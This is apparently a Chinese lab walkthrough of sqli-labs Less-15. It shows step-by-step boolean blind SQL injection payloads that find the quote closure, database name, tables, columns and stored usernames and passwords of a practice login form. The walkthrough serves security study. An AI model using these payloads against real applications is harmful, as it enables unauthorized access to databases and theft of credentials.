sqli-labs less-15 布尔注入
随意输入测试库,发现页面没有报错,只有显示登陆成功或者失败两种状态,考虑布尔盲注
构造
uname=aaa’ or 1=1 # &passwd=bbb&Submit=Submit
发现登录成功,确定闭合方式位'
,可以构造出 'or 1=1 #
,然后将单引号换位其他符号来测试各种闭合方式,登陆成功即是闭合方式。
爆出数据库名长度
因为确定使用布尔盲注,所以使用下面语句来测试数据库名长度,
uname=aaa’ or 1=if((length(database())>8),1,2) # &passwd=bbb&Submit=Submit
发现大于登陆成功,大于8失败,可以确定数据库名长度8.
爆出数据库名
uname=aaa’ or 1=if((ascii(substr(database(),1,1))>
100
),1,2) # &passwd=bbb&Submit=Submit
uname=aaa’ or 1=if((ascii(substr(database(),1,1))>120
),1,2) # &passwd=bbb&Submit=Submit
uname=aaa’ or 1=if((ascii(substr(database(),1,1))>110
),1,2) # &passwd=bbb&Submit=Submit
uname=aaa’ or 1=if((ascii(substr(database(),1,1))>115
),1,2) # &passwd=bbb&Submit=Submit
uname=aaa’ or 1=if((ascii(substr(database(),1,1))>114
),1,2) # &passwd=bbb&Submit=Submit
通过页面回显最终确定数据库名手字母对应的ascii码位115,参照ASCII码表,位s
.
爆出表名
- uname=aaa’ or 1=if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>101),1,2) # &passwd=bbb&Submit=Submit
在这条语句经过多次尝试,确定大于100成功,101失败,确定表名的第一个字母为e
。修改substr参数的值,得到所有表。
爆出列名
- uname=aaa’ or 1=if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>104),1,2) # &passwd=bbb&Submit=Submit
发现列名第一个字母的ASCII值为105,对照表为i
.
修改substr参数值,得到所有列名
爆出数据
- uname=aaa’ or 1=if((ascii(substr((select group_concat(username,‘~’,password) from security.users),1,1))>68),1,2) # &passwd=bbb&Submit=Submit
经过多次修改ascii大于的值,得到数据第一个字母的ASCII值为68 ,对照ASCII表的D
,参照上面方法,得到所有的值,注意group_concat()中拼接的符号 也算值。
至此大功告成。